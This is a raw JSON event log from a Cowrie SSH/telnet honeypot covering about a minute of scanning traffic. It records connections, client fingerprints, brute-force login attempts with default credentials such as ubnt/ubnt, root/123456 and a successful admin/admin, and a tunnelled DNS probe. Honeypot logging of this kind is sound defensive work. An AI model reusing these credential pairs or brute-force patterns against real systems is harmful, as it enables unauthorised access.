{"eventid":"cowrie.session.closed","duration":108.74947142601013,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:22.702913Z","src_ip":"152.42.224.71","session":"8c775cc1a306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.88154411315918,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:23.727707Z","src_ip":"152.42.224.71","session":"d1f661ebc3cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":56641,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b15dbebe606","protocol":"ssh","message":"New connection: 193.46.255.86:56641 (159.203.135.109:22) [session: 4b15dbebe606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:24.454599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:24.459429Z","src_ip":"193.46.255.86","session":"4b15dbebe606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:24.586339Z","src_ip":"193.46.255.86","session":"4b15dbebe606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:25.168249Z","src_ip":"193.46.255.86","session":"4b15dbebe606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt1","message":"login attempt [ubnt/ubnt1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:26.298916Z","src_ip":"193.46.255.86","session":"4b15dbebe606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"admin","message":"login attempt [ubnt/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:27.429497Z","src_ip":"193.46.255.86","session":"4b15dbebe606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"12345","message":"login attempt [ubnt/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:28.559284Z","src_ip":"193.46.255.86","session":"4b15dbebe606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubntubnt","message":"login attempt [ubnt/ubntubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:29.688811Z","src_ip":"193.46.255.86","session":"4b15dbebe606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50238,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ef474eb006c","protocol":"telnet","message":"New connection: 152.42.224.71:50238 (10.17.0.5:23) [session: 5ef474eb006c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:29.981727Z"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:30.818283Z","src_ip":"193.46.255.86","session":"4b15dbebe606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:41.883574Z","src_ip":"47.237.167.49","session":"ab501017fd72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":45686,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c4b0f63ac9f","protocol":"ssh","message":"New connection: 47.237.167.49:45686 (159.203.135.109:22) [session: 4c4b0f63ac9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:42.110624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:42.756035Z","src_ip":"47.237.167.49","session":"4c4b0f63ac9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:42.761424Z","src_ip":"47.237.167.49","session":"4c4b0f63ac9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52676,"dst_ip":"10.17.0.5","dst_port":23,"session":"d54783e323ef","protocol":"telnet","message":"New connection: 152.42.224.71:52676 (10.17.0.5:23) [session: d54783e323ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:47.599596Z"}
{"eventid":"cowrie.session.closed","duration":35.81003260612488,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:48.659363Z","src_ip":"152.42.224.71","session":"af6d1a1789e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52690,"dst_ip":"10.17.0.5","dst_port":23,"session":"d735fe7342af","protocol":"telnet","message":"New connection: 152.42.224.71:52690 (10.17.0.5:23) [session: d735fe7342af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:50.036577Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52698,"dst_ip":"10.17.0.5","dst_port":23,"session":"00f99aaf40d6","protocol":"telnet","message":"New connection: 152.42.224.71:52698 (10.17.0.5:23) [session: 00f99aaf40d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:50.877515Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:51.420488Z","src_ip":"47.237.167.49","session":"4c4b0f63ac9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:52.691434Z","src_ip":"47.237.167.49","session":"4c4b0f63ac9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52704,"dst_ip":"10.17.0.5","dst_port":23,"session":"389bef13256d","protocol":"telnet","message":"New connection: 152.42.224.71:52704 (10.17.0.5:23) [session: 389bef13256d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:55.298162Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38122,"dst_ip":"10.17.0.5","dst_port":23,"session":"0637d7e3e9c4","protocol":"telnet","message":"New connection: 152.42.224.71:38122 (10.17.0.5:23) [session: 0637d7e3e9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:57.644334Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38130,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ddcd8611bd6","protocol":"telnet","message":"New connection: 152.42.224.71:38130 (10.17.0.5:23) [session: 8ddcd8611bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:59.008538Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38144,"dst_ip":"10.17.0.5","dst_port":23,"session":"b30eb9ecfdd0","protocol":"telnet","message":"New connection: 152.42.224.71:38144 (10.17.0.5:23) [session: b30eb9ecfdd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:20:59.188878Z"}
{"eventid":"cowrie.session.closed","duration":59.34091925621033,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:01.877293Z","src_ip":"152.42.224.71","session":"e4b6321f5b79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00181412696838,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:03.014039Z","src_ip":"152.42.224.71","session":"771239f54787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35730,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a64071be097","protocol":"telnet","message":"New connection: 152.42.224.71:35730 (10.17.0.5:23) [session: 9a64071be097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:08.445228Z"}
{"eventid":"cowrie.session.closed","duration":44.7301561832428,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:14.711728Z","src_ip":"152.42.224.71","session":"5ef474eb006c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.10865378379822,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:19.708127Z","src_ip":"152.42.224.71","session":"d54783e323ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59846,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d42368b0abc","protocol":"telnet","message":"New connection: 152.42.224.71:59846 (10.17.0.5:23) [session: 5d42368b0abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:22.912877Z"}
{"eventid":"cowrie.session.closed","duration":91.06470966339111,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:24.733771Z","src_ip":"152.42.224.71","session":"f6b7fae59464","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.31781220436096,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:27.338281Z","src_ip":"152.42.224.71","session":"5444fe68cb6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.961575508117676,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:29.150357Z","src_ip":"152.42.224.71","session":"b30eb9ecfdd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.622347831726074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:29.266589Z","src_ip":"152.42.224.71","session":"0637d7e3e9c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":60424,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3b992a9b46c","protocol":"ssh","message":"New connection: 103.98.149.87:60424 (159.203.135.109:22) [session: e3b992a9b46c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:29.563537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:29.568384Z","src_ip":"103.98.149.87","session":"e3b992a9b46c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:29.822373Z","src_ip":"103.98.149.87","session":"e3b992a9b46c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":38008,"dst_ip":"159.203.135.109","dst_port":22,"session":"542ec40e5f16","protocol":"ssh","message":"New connection: 147.45.197.250:38008 (159.203.135.109:22) [session: 542ec40e5f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:30.424477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:30.450052Z","src_ip":"147.45.197.250","session":"542ec40e5f16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:30.542668Z","src_ip":"147.45.197.250","session":"542ec40e5f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59158,"dst_ip":"10.17.0.5","dst_port":23,"session":"113cddd81eeb","protocol":"telnet","message":"New connection: 152.42.224.71:59158 (10.17.0.5:23) [session: 113cddd81eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:30.731422Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima2004","message":"login attempt [root/dima2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:30.822093Z","src_ip":"147.45.197.250","session":"542ec40e5f16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9876543210","message":"login attempt [root/9876543210] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:31.212658Z","src_ip":"103.98.149.87","session":"e3b992a9b46c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:31.916936Z","src_ip":"147.45.197.250","session":"542ec40e5f16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:32.436538Z","src_ip":"103.98.149.87","session":"e3b992a9b46c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12426,"dst_ip":"10.17.0.5","dst_port":22,"session":"116177fc48da","protocol":"ssh","message":"New connection: 87.251.64.176:12426 (10.17.0.5:22) [session: 116177fc48da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:33.688335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:33.693042Z","src_ip":"87.251.64.176","session":"116177fc48da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:33.790083Z","src_ip":"87.251.64.176","session":"116177fc48da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":37024,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f774e80c736","protocol":"ssh","message":"New connection: 43.134.32.136:37024 (159.203.135.109:22) [session: 5f774e80c736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:34.052682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:34.057772Z","src_ip":"43.134.32.136","session":"5f774e80c736","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:34.079445Z","src_ip":"87.251.64.176","session":"116177fc48da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:34.183961Z","session":"116177fc48da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:34.283509Z","src_ip":"87.251.64.176","session":"116177fc48da","protocol":"ssh"}
